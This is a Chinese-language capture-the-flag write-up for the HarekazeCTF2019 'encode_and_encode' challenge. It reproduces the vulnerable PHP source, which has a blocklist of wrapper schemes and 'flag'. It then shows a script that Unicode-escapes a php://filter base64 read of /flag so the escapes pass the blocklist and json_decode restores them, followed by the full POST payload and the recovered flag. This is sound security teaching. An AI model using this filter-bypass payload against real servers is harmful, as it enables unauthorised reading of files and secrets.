[HarekazeCTF2019]encode_and_encode
参考:
[HarekazeCTF2019]encode_and_encode-CSDN博客
文件包含&PHP伪协议利用_-CSDN博客
场景:

点击source code查看源码:

代码审计:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | <?phperror_reporting(0);
 
 
 if (isset($_GET['source'])) {
 show_source(__FILE__);
 exit();
 }
 
 function is_valid($str) {
 
 $banword = [
 
 '\.\.',
 
 '(php|file|glob|data|tp|zip|zlib|phar):',
 
 'flag'
 ];
 
 $regexp = '/' . implode('|', $banword) . '/i';
 if (preg_match($regexp, $str))
 {
 return false;
 }
 return true;
 }
 
 
 $body = file_get_contents('php://input');
 
 
 $json = json_decode($body, true);
 
 
 if (is_valid($body) && isset($json) && isset($json['page'])) {
 
 $page = $json['page'];
 
 $content = file_get_contents($page);
 
 if (!$content || !is_valid($content)) {
 $content = "<p>not found</p>\n";
 }
 } else {
 $content = '<p>invalid request</p>';
 }
 
 
 
 $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
 
 echo json_encode(['content' => $content]);
 
 | 
分析:
| 12
 3
 4
 5
 6
 7
 
 | 这里要利用的危险代码为file_get_contents($page);所以是利用了file_get_contents()函数的漏洞,可以利用php伪协议(php://filter)获取文件数据流,然后通过file_get_contents()获取打开的文件数据流传递给相应的参数:file_get_contents('php://filter/read=convert.base64-encode/resource=文件路径')
 
 但是这里过滤了php,所以不能直接传伪协议,题目只对$body变量进行过滤,没有对$json数据进行过滤,这就可以使用unicode编码进行绕过,这是因为存在json_decode()可以解析unicode编码内容:
 $json['page']='php://filter/read=convert.base64-encode/resource=文件路径'
 =>
 $body={'page':unicode('php://filter/read=convert.base64-encode/resource=文件路径')}
 
 | 
unicode编码脚本:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | <?phpfunction unicodeEncrypt($str) {
 $result = '';
 $length = mb_strlen($str);
 
 for ($i = 0; $i < $length; $i++) {
 $char = mb_substr($str, $i, 1);
 $result .= '\u' . strtoupper(bin2hex(mb_convert_encoding($char, 'UTF-16BE', 'UTF-8')));
 }
 
 return $result;
 }
 
 
 $text = "php://filter/read=convert.base64-encode/resource=/flag";
 $encryptedText = unicodeEncrypt($text);
 echo $encryptedText;
 ?>
 
 | 
输出:
| 1
 | \u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0072\u0065\u0061\u0064\u003D\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067
 | 
构造payload:
| 12
 3
 4
 5
 
 | POST:Content-Type: application/json
 {
 "page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0072\u0065\u0061\u0064\u003D\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"
 }
 
 | 

| 1
 | {"content":"ZmxhZ3swYjY3ZmRjMS04ZThjLTQxMWUtOTZlNy1hNjA2ZmMzOWFkM2N9Cg=="}
 | 
解码:

| 1
 | flag{0b67fdc1-8e8c-411e-96e7-a606fc39ad3c}
 | 
flag=flag{0b67fdc1-8e8c-411e-96e7-a606fc39ad3c}